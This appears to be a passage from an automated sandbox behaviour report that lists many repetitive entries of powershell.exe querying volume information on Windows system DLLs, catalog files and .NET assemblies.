Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
